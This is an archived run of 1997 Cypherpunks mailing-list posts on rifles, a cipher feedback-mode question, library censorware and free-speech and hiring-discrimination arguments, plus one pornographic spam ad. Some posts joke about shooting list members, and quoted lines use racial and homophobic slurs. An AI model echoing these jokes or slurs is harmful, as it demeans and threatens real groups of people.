Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From brianbr at together.net  Tue Dec 23 08:15:23 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 00:15:23 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712231607.LAA19016@mx02.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 2:41 AM, landon dyer (landon at best.com)  passed this
wisdom:

>At 10:11 PM 12/22/97 -0800, you wrote:
>>
>>What is the best long gun for a Cypherpunk?
>
>A Solothurn, natch. For those who don't know: A circa 1938 20mm 
>anti-tank rifle; be sure to get the high power telescopic sight. 
>Why screw around? 
>:-)

  Is that the one that looks exactly like a BAR on steroids? Huge box
magazine held 8 or 10 rounds and humungous bipod and huge recoil pad
on the butt. I always wondered what kind of mutant it would take to
shoulder fire that thing!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ/hzD7r4fUXwraZAQGjpQf/QZXGup88+GlhhEF2SV+sJRj4/GSLFmlI
PWmchPmfEyifJSJI+8oQIj/IzTkbGf/Mj7H50/txndkR9UXEKmfZ7I8y4H2dlX/k
Wc4g4mx3tCSmsWctOA9lN3NWWHs7agNHxdHqsZfYiLSlF191dyl7r0Aw+D7wBwKm
VxlJsvrwsC7wZMNbJYoe2PJOTpTL924HYW0v4uL7mJ5EIPykWnhmhEXFksvGvzTE
8fyPW9VZjxjLLpGL4CVAN2xbeIN4PoA9bOkI85aKc+mHKvjqJg6/VZ7sfJcgoT12
ULBsd+7yMERS5dcZGLvXsStIHJarQrYuyTRY5teeScSi4XwUFmUjcA==
=sqI1
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

"The reason worry kills more people than work is that more people worry
 than work" -- Robert Frost (1874-1963)







From brianbr at together.net  Tue Dec 23 08:27:51 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 00:27:51 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712231618.LAA15730@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 1:34 AM, Tim May (tcmay at got.net)  passed this wisdom:

>(The notion that the AR-15/M-16 "jams" is based on 35-year-old 
>early experiences in Viet Nam, using an early design and early 
>ammo. The jamming problems were fixed quickly, by changing the 
>forward assist, changing the ammo a little, and teaching soldiers 
>how to properly clean the weapon.) 

 In addition to that they chrome plated the chambers which eliminate
99% of the actions where the extractor would rip off the tail end of
the casing. "obturation" (almost microscopic expansion of the brass in
the chamber at ignition) and the coarser finish of the unplated
chambers coupled up to give a high percentage of jams. When the jam
was tough enough that the tail of the cartridge got ripped off the
poor trooper was up shits creek since he couldn't use a cleaning rod
to remove the shell ... a lot of M16s got bent around trees because of
that! By Nov 68 when I got in country the 1st MarDiv had replaced most
of its M16s with the newer chromed chamber models. I don't know about
other services or outfits.

  I had maybe a half dozen occasions where I put four to six 20 round
mags (the Marines didn't start getting the 30 round mags til the Army
got all theirs - sigh!) through my weapon on full auto in rapid
succession and never had a jam.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ/kZz7r4fUXwraZAQEe2gf+JsOLKfLW9GGQBu8WNDAaqyjql1FamKQp
abqMPoleLrhaHrB7TnkfTF7sdL6R9tO9syBTjqw36CKOXv/lP3/DsiSQTnML2K2s
cl2eCphQvfc2b7L9ylXcihs0UHynqCgevtPLJG5f7QrSvzR+NFlFd0roBiFLLZc+
lz88qgnSUOFclhepsmYslSBEqaLX62Y11pnxb/yr1xU6DUVZv+92yhVsT2ojxZ4b
n6WrsU81mFOjX+Oi41Zg9GAbMFy/cM2O2mZ4YJBEWkztWA1J9kNX6NSisv0Yswbj
bkmWD3sFCeh8qKmflllh+fuxq70q8mLyws6ntzclpdgcUUs1JWGIjg==
=rdqq
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "Give a man a fish and you have fed him for a day, but give him a case
  of dynamite and soon the village will be showered with mud and
  seaweed and unidentifiable chunks of fish." -Joe Chew







From brianbr at together.net  Tue Dec 23 08:33:16 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 00:33:16 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712231626.LAA16143@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 3:52 AM, Jim Choate (ravage at ssz.com)  passed this wisdom:

>As to first semi-automatic in the country, I believe the 
>Springfield 1903  

 Uhhhh ... 03 Springfield is a bolt action ....

 Rem Mod 8 is Browning semi-auto action essentially recoil operated
with the barrel inside a sleeve surrounded by a spring whihc recoiled
back with the bolt as well. The barrel spring had a stiffer constant
than the bolt spring so it strated forward frist effecting the
separation of bolt and reciever and stripping the round out straight
up. It was designed in 1903 and first manufactured in 1905. It was, as
I said, the first semi-auto marketed to the *civilian* market. There
were other semi-auto's but were all military weapons.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ/mRT7r4fUXwraZAQFiGwf+M6v+VX3p9Bx9CnsmJYJJnjx0S/2IxxUT
iVWlexWiDhxlAJMQnzXEUfoSVHQRtwkmrX+SH5qDxdBodFqBj7ctDJHp8/sBDZS+
uxqo4LNhm0XeSP64+P+sb25fJkDAZSWR2j/VcjMG7MxZ3CvGHsW5jxVuKvAAkVIg
d9+0IgzENEcdyS5JuHF3fCQWSPcvo+tB4cweYFGbLXRBtAe5HojHYuBoeGnKMqAP
GLjwaRzcNa4RkherYGV0Irpfdz5x+DIvgj2PRu57bPrDIKddUytGW11+eu3cXZKK
Am/+dgPLlDpero9V9LB6Tg0i6oVCR/4WXyuCch8pnvVGwDLY59/8qQ==
=qA6z
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "The ultimate consequence of protecting men from the results of their
  own folly is to fill the world with fools." -- Herbert Spencer








From ravage at ssz.com  Tue Dec 23 08:46:45 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 24 Dec 1997 00:46:45 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712231703.LAA25523@einstein.ssz.com>



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 11:27:11 -0500
> From: "Brian B. Riley" 

> >As to first semi-automatic in the country, I believe the 
> >Springfield 1903  
> 
>  Uhhhh ... 03 Springfield is a bolt action ....

True enough.

> up. It was designed in 1903 and first manufactured in 1905. It was, as
> I said, the first semi-auto marketed to the *civilian* market. There
> were other semi-auto's but were all military weapons.

There wasn't a distinction until the 1920's when the various 'gat' laws
because of gangsters, rum runners and such came into play.

I have a friend who is a gun collector. I 'll see if he happens to have one.
I wanna see this safety...

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From honig at otc.net  Tue Dec 23 09:04:17 1997
From: honig at otc.net (David Honig)
Date: Wed, 24 Dec 1997 01:04:17 +0800
Subject: Question on CFB variant with c[i-N]
In-Reply-To: 
Message-ID: <3.0.5.32.19971223085211.007d1b50@otc.net>



At 11:22 AM 12/22/97 -0700, Johnson, Michael P (Mike) wrote:
>>David Honig  wrote:
>>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>>>
>>>>
>>>>>>              cfb    Ciphertext feeback mode
>>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>>>
>>>
>>>
>>>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
>>>How would you prove that this has no security implications?
>>>That 10-way interleaved cfb streams are security-equivalent to
>>>a single cfb stream interleaved with the immediately previous block?
>
>That would make it harder to get the process started, since you would
>need 10 initialization vector blocks instead of 1, so it would bloat
>your messages more.
>
>How about this mode:
>    c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>    p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>
>The feedback possibilities are literally endless. The analysis of the
>effects on security, speed, error propagation, etc., are left as an
>exercise for the reader. 


In case you think I came up with this question
with the goal of proposing a stronger form of feedback:

I did not; I am not qualified to attempt such a thing. (Also, my intuition
matches Bruce's, there's no cryptostrength difference). Instead, the question
came up in an implementation context, where I wanted to know whether the 
more knowledgable community would seriously question such a variant on 
a well-known feedback mode if it were necessary in this implementation.

Thanks






------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From ichudov at Algebra.COM  Tue Dec 23 09:05:21 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Wed, 24 Dec 1997 01:05:21 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712231618.LAA15730@mx01.together.net>
Message-ID: <199712231657.KAA26051@manifold.algebra.com>



Brian B. Riley wrote:
>   I had maybe a half dozen occasions where I put four to six 20 round
> mags (the Marines didn't start getting the 30 round mags til the Army
> got all theirs - sigh!) through my weapon on full auto in rapid
> succession and never had a jam.

Did it overheat?

	- Igor.






From honig at otc.net  Tue Dec 23 09:14:34 1997
From: honig at otc.net (David Honig)
Date: Wed, 24 Dec 1997 01:14:34 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: <3.0.5.32.19971223085850.007d28a0@otc.net>



At 11:05 PM 12/22/97 -0600, William H. Geiger III wrote:
>
>
>>Why should any state be in the business of owning and running any parks?
>>We pay $60/year for a family membership in an excellent private park.
>>Most public parks in NYC are extremely unpleasant and dangerous places.
>
>I find it quite amazing that anyone would live in a place where you had to
>pay to see grass and trees.
>

Obviously the Dr. values grass and trees, and his safety, and for some
inexplicable reason remaining in NYC.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From 13071300 at 13488.com  Wed Dec 24 01:35:58 1997
From: 13071300 at 13488.com (13071300 at 13488.com)
Date: Wed, 24 Dec 1997 01:35:58 -0800 (PST)
Subject: Our Special Gift to You...
Message-ID: <852147.951@xxxluv2u.com>


Is a Killer Guest Area filled with the hottest XXX action on the net.
See it NOW for FREE...

http://www.fleshgrotto.com/guests/

We feature Streaming XXX videos, LIVE feeds, huge XXX galleries, 
adult toys, imports, and much more!!! Our LIVE CyberSex can't be beat, see the
Newest Blondes in our stable.. Ashley and Brianna.
Come see how the latest in technological wizardry can make hardcore XXX
action EXPLODE on your screen.
No other site gives their guests so much... Check It Out.

http://www.fleshgrotto.com/guests/





From anon at anon.efga.org  Tue Dec 23 09:44:01 1997
From: anon at anon.efga.org (Anonymous)
Date: Wed, 24 Dec 1997 01:44:01 +0800
Subject: No Subject
Message-ID: <3ac13928b6f59bb84e63ac40da871a6b@anon.efga.org>



At 10:11 PM 12/22/97 -0800, you wrote:
>What is the best long gun for a Cypherpunk?
>
>
You didn't say if you were interested in a trophy or just filling the freezer nor if you would be in open country or in the bush. A good all around choice would be one of the medium power thirty caliber cartridges.  It would be prudent to use ammunition lo!
aded with well constructed bullets because some Cypherpunks are thick skinned, particularly those with law degrees. 

LongPigMuncher       






From tcmay at got.net  Tue Dec 23 09:46:26 1997
From: tcmay at got.net (Tim May)
Date: Wed, 24 Dec 1997 01:46:26 +0800
Subject: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712231551.JAA25031@einstein.ssz.com>
Message-ID: 



At 8:51 AM -0700 12/23/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Tue, 23 Dec 1997 01:08:04 -0700
>> From: Tim May 
>> Subject: Re: Best Cypherpunk long gun (fwd)
>
>>  I can't agree that the HK 91 (the .308 version) is a popular sniper
>> weapon.
>
>Military and police snipers the world over differ strongly with you...
>Beside, it's the 93/G3 not the 91 (thought they do share a lot of commen base
>pieces) that is the sniper rifle. I believe you will also find that the .308
>is the base caliber for all versions. Your wording above would indicate the
>91 was .308 while the 93 was a different caliber, this is incorrect. Visit
>the H&K home page...

Not much point in arguing with Jim Choate on this one. The G3 is the
orginal name (Gewehr). The G3KA4 is one of the .308 models currentlt being
sold.

For the past couple of decades the naming system has also included "HK -9x"
names, with this breakdown by caliber:

HK-91, the .308 model, aka the G3-xx models. Also, the variants like the
SAR-9 from Springfield, the Argentine and Greek versions, etc.

HK-93, the .223 model, much less common than the HK-91.

HK-94, 9mm model (which becomes the MP-5 and all of its variants and the
SP-89 as changes are made to the barrel length, stock configuration, etc.

(I know these things quite well, having almost bought an HK-91 back before
they came under new restrictions, and then having bought an SP-89.)

But if Jim doesn't believe me, consider this quote from the rec.guns FAQ:

"The HK series of weapons commonly avaiable in the US consists of the HK-91
(7.62 Nato) HK-93 (5.56 Nato) and HK-94 (9mm Nato). All
these rifles share common features, namely, the locking system consists of
a roller locked inertial bolt, which operates as a delayed direct blow
back action."

>
>> For sniper work, a bolt-action is by far the most popular piece.
>
>Really? Watch a few more of those silly police shows on at night. Pay
>particular attention to the long-term hostage episodes. I generaly see the
>break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
>or sniper team using a bolt-action. Learning base tactics is about the only
>thing these shows are good for.

Getting one's knowledge from, as you say, silly police shows, is not such a
good idea. For one thing, _entry teams_ are NOT snipers!

Go to some actual sniping sources. Or try some of the Web pages, such as
http://www.prostar.com/web/sniper/ or http://sniper-store.com/ for
insights. Also, as I mentioned John Plaster's excellent 1993 book, "The
Ultimate Sniper." He discusses semiautomatics and their disadvantages in
price and simplicity compared to bolt-actions.

Again, entry team work is limited to close range. Sniping is quite
different, with ranges from a hundred yards on up to a thousand yards,
sometimes even more. The average police sniper takes his shot at a hundred
yards or less (less is always better). But he'll want the most accurate
piece, not a semi-auto.

Lon Horiuchi, the sniper at Ruby Ridge, used a bolt-action to take his shot.



>Remember, we're counter-sniping at this point...
>

This'll be my last response to Jim on this issue. It appears he's talking
about a completely different thing than what I am calling, and what is
commonly called by others, sniping.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From nobody at REPLAY.COM  Tue Dec 23 09:49:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 24 Dec 1997 01:49:53 +0800
Subject: SPECIAL REPORT: Censorware in the StacksRe: SPECIAL REPORT: Censorware in the Stacks
Message-ID: <199712231746.SAA26055@basement.replay.com>



Colin Rafferty writes:
> 
> Tim May writes:

> > When the state-as-sovereign sets up libraries that don't carry Everything
> > (hint: and not even the LOC carries everything), then the choices it makes
> > can be seen by some to be First Amendment violations.
> 
> This is not a First Amendment violation.
> 
> The government is not required to promote all speech, but only to not
> restrict it.  Selection of books for a library does not abdridge freedom
> of speech, since the act of not selecting does not reduce speech.
> 
> Modifying the content of the selected books would be an infriging act,
> since that is a reduction.
> 
> They cannot subscribe to Playboy and then put pasties on the nipples.
> Nor can they subscribe to the Internet and then filter it.

And the difference between `selecting' which books to acquire for 
the library and `selecting' which web pages to receive is what?
Those pages `not selected' by the Internet filter are not `reduced'
any more than the `not selected' books.  There is no consistent
application of principle in your arguments.


> > A better solution is to get Government out of the business of running
> > libraries or providing Net access.
> 
> I fail to see how this will solve anything.

Then rub a couple of neurons together and see if you can generate
a spark.  If the government isn't in the business of either `selecting'
books or internet pages, then there is no `selecting' to be done in 
either case and therefore nothing to be solved.


-Frondeur






From whgiii at invweb.net  Tue Dec 23 09:58:09 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Wed, 24 Dec 1997 01:58:09 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712231736.MAA17397@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 10:30 AM, Colin Rafferty  said:

>Paul Bradley writes:

>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>> >Amendment issue have arisen? Of course not. In a free society, RealBig is
>>> >free to hire whom it wishes, and to refuse to hire niggers, homos,
>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>> >managers at RealBig disliked.
>>> 
>>> Substitute "fascist society" for "free society" in the paragraph
>>> above and the discussion begins to make some sense. Hell, it's even
>>> historically accurate.

>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>> hire people for any reason whatsoever? Do you think I should not be 
>> allowed to refuse to hire people because of their race or sexual orientation?

>> Should the government be able to take action against me because I fire 
>> someone for being jewish/black/homosexual???

>Welcome to the 20th Century, moron.

Really amazing how many so-called "freedom fighters" become STATIST if the
proper buttons are pushed.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ/2IY9Co1n+aLhhAQIUdwP+MEjAEd/EXBcyB/mwOwikDV55GLOsk/cI
akKTGFQeFttzCfUM1ImuIzLrZySXxjMWelHlfqpqJkB59EvG5mxX+gNHUK92kZXK
DO+uTXqmWI3m2eOUyM3647lcaVGbiq4q9qa5BR+kWHX0ImEihaQvUcJbraIs7hTA
CYopid6sJ6Y=
=E3Yq
-----END PGP SIGNATURE-----






From craffert at ml.com  Tue Dec 23 10:09:58 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 02:09:58 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231736.MAA17397@users.invweb.net>
Message-ID: 



William H Geiger writes:
> In , on 12/23/97 at 10:30 AM, Colin Rafferty  said:
>> Paul Bradley writes:

>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>> >managers at RealBig disliked.
>>>> 
>>>> Substitute "fascist society" for "free society" in the paragraph
>>>> above and the discussion begins to make some sense. Hell, it's even
>>>> historically accurate.

>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>> hire people for any reason whatsoever? Do you think I should not be 
>>> allowed to refuse to hire people because of their race or sexual
>>> orientation?

>>> Should the government be able to take action against me because I fire 
>>> someone for being jewish/black/homosexual???

>> Welcome to the 20th Century, moron.

> Really amazing how many so-called "freedom fighters" become STATIST if the
> proper buttons are pushed.

What are you talking about?

Freedom of expression is not the same as freedom of oppression.

If you want to live in a hut in Montana and shelter yourself from the
real world, feel free.  Otherwise, it may be a good idea to check out
social theories from the last hundred years.

-- 
Colin






From tcmay at got.net  Tue Dec 23 10:15:27 1997
From: tcmay at got.net (Tim May)
Date: Wed, 24 Dec 1997 02:15:27 +0800
Subject: Parks and Guns
Message-ID: 




I've seen a couple of comments about my point about state-run parks not
allowing guns in, which would seem to be an interesting case of the state
limiting Second Amendment rights on territory it controlled.

(I won't push this much further, as the state may also limit firearms in
courthouses, in Federal buildings, and so on. Jusitifiably, I might add.
But this does make the point that the state-as-employer or
state-as-property-manager may do things that seem to directly limit
constitutional rights.)

Anyway, several comments have focussed on _little_ parks, those little
patches of grass and winos and spent syringes in the nation's cities.

What I was talking about were the biggies, like the Forest of Nisene Marks,
right next to my house, starting on the ridge on the other side of the
valley from me. Tens of thousands of acres....hundreds of miles of hiking
and biking trails.

Get caught with a gun in that park and face jail time. Of course, hikers
and bicyclists sometimes get mugged, raped, and murdered in this park, so
carrying a gun in one's fanny pack makes a lot of sense. "Better to be
judged by 12 than carried by 6," as the famous saying goes.

Interestingly for newcomers to the list, it was putting out this piece of
common sense opinion that got me a threatening phone call from the Santa
Cruz County Sheriff's Office in the summer of 1995. Seems that someone read
my opinions and contacted the authorities...a Sheriff's Deputy called to
warn me that my opinion verged on the illegal (oh yeah?) and that he might
send a "vehicle" out to my place to have a chat with me and check out my
state of mind.

When I said something along the lines of, "Fine, but call in advance, so
I'll know it's your boy," he flipped out, started furiously typing on a
keyboard (I could hear it), and said something like "That comment has been
entered in your file as a threat against a law enforcement officer."

At that point I told him that there was then no point in talking to him
further, if my truthful comments were to be declared "threats."

(I guess, as some have argued here recently, I was supposed to have said
something like, "Thank you, officer, for pointing out the error of my
opinion that hikers and bicyclists ought to take steps to defend
themselves. I understand now that weapons are not to be owned or carried by
citizen-units, and that a woman facing rapists on a mountain trail should
simply dial 9-1-1 at the nearest payphone and wait for the police to
arrive. I am sorry I expressed an opinion in these Beknighted States.")

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From wombat at mcfeely.bsfs.org  Tue Dec 23 10:23:16 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 24 Dec 1997 02:23:16 +0800
Subject: your mail
In-Reply-To: <3ac13928b6f59bb84e63ac40da871a6b@anon.efga.org>
Message-ID: 





On Tue, 23 Dec 1997, Anonymous wrote:

> At 10:11 PM 12/22/97 -0800, you wrote:
> >What is the best long gun for a Cypherpunk?
> >
> >
> You didn't say if you were interested in a trophy or just filling the freezer nor if you would be in open country or in the bush. A good all around choice would be one of the medium power thirty caliber cartridges.  It would be prudent to use ammunition lo!
> aded with well constructed bullets because some Cypherpunks are thick skinned, particularly those with law degrees. 
> 
> LongPigMuncher       
> 
> 

Many of them seldom leave their dens, because they can't find their 
shoes. You need to leave the long gun behind, and go in after them with 
Glock in hand. Watch out for the claymores.






From wombat at mcfeely.bsfs.org  Tue Dec 23 10:23:23 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 24 Dec 1997 02:23:23 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: 





On Tue, 23 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> Lucky Green  writes:
> 
> > On Mon, 22 Dec 1997, Mix wrote:
> >
> > > What is the best long gun for a Cypherpunk?
> >
> > There are some howitzers that can deliver nuclear artillery shells at 50+
> > miles. I think their barrels are pretty long.
> 
> During WWI the germans had something called "Big Bertha". It may have been
> longer.
> 

Compensating, Her Doktor?  ;)


http://www.valkyriearms.com/m2.htm

BATF approved. Hmmmm ... wonder how fast you can fire this on semi-auto? The 
auto version had a fairly low rate of fire, as I recall. 

Actually, a Colt-Sauer in any of the smaller, flatter shooting cartridges 
will do just fine. One round, one head-shot.

-r.w.







From lizard at mrlizard.com  Tue Dec 23 10:26:09 1997
From: lizard at mrlizard.com (Lizard)
Date: Wed, 24 Dec 1997 02:26:09 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <3.0.1.32.19971223101322.00bc3100@dnai.com>



At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>Freedom of expression is not the same as freedom of oppression.

How is someone 'oppressed' by my choosing not to deal with him for some
reasons, but not for other reasons? Either way, he does not get my services.

I refuse to hire you because you are black -- you are oppressed.
I refuse to hire you because you're an Aquarius and my astrologer told me
not to hire Aquarians -- you are not oppressed.
I refuse to hire you because you're a Republican and I'm a Democrat, and I
don't think we'll work well together -- you are not oppressed.

But in all cases, you are not hired.

Explain the logic of this to me.

(Yes, it is perfectly legal to not hire someone based on star sign,
political affiliation, or having freckles.)

No human being has a right to compel service from another human being. If I
do not wish to engage in trade with you, that's my right. Would you be less
oppressed if I just closed up shop and refused to trade with ANYONE? 

The issue here is not expression, but association.

(Obviously, this does not apply in any area where there is government
involvement, such as civil service, access to public places, receipt of
government benefits, voting rights, public education, and the like.)






From whgiii at invweb.net  Tue Dec 23 10:28:03 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Wed, 24 Dec 1997 02:28:03 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712231820.NAA17822@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 12:55 PM, Colin Rafferty  said:

>William H Geiger writes:
>> In , on 12/23/97 at 10:30 AM, Colin Rafferty  said:
>>> Paul Bradley writes:

>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>> >managers at RealBig disliked.
>>>>> 
>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>> historically accurate.

>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>> allowed to refuse to hire people because of their race or sexual
>>>> orientation?

>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???

>>> Welcome to the 20th Century, moron.

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.

>What are you talking about?

>Freedom of expression is not the same as freedom of oppression.

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

Please explain to me where in the Constitution the government is given the
power to determin who I *must* associate with?? If I decide that I do not
wish to do business with anyone who's last name begins with the letter "R"
what gives you the right to say that I must?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKAAUI9Co1n+aLhhAQL6NwP/bI4SHiv4HX8yEFKvvG3SPZax3Q7HnbT5
EYspxRngonicaDVWyY4ANzHkPmUCDPdgTmJURCUYr14D0EJcUpwnq5rsike2XamE
3GPxIz0v57pmzx8Koy+PoosS5l89MhYk9g90GK9b2Go9pS9uGfJKDYOyhReashs/
e/LK++LX7Tw=
=YjBi
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Tue Dec 23 10:28:56 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Wed, 24 Dec 1997 02:28:56 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712231823.NAA17857@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 12:55 PM, Colin Rafferty  said:

>William H Geiger writes:
>> In , on 12/23/97 at 10:30 AM, Colin Rafferty  said:
>>> Paul Bradley writes:

>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>> >managers at RealBig disliked.
>>>>> 
>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>> historically accurate.

>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>> allowed to refuse to hire people because of their race or sexual
>>>> orientation?

>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???

>>> Welcome to the 20th Century, moron.

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.

>What are you talking about?

>Freedom of expression is not the same as freedom of oppression.

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

Please explain to me where in the Constitution the government is given the
power to determin who I *must* associate with?? If I decide that I do not
wish to do business with anyone who's last name begins with the letter "R"
what gives you the right to say that I must?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
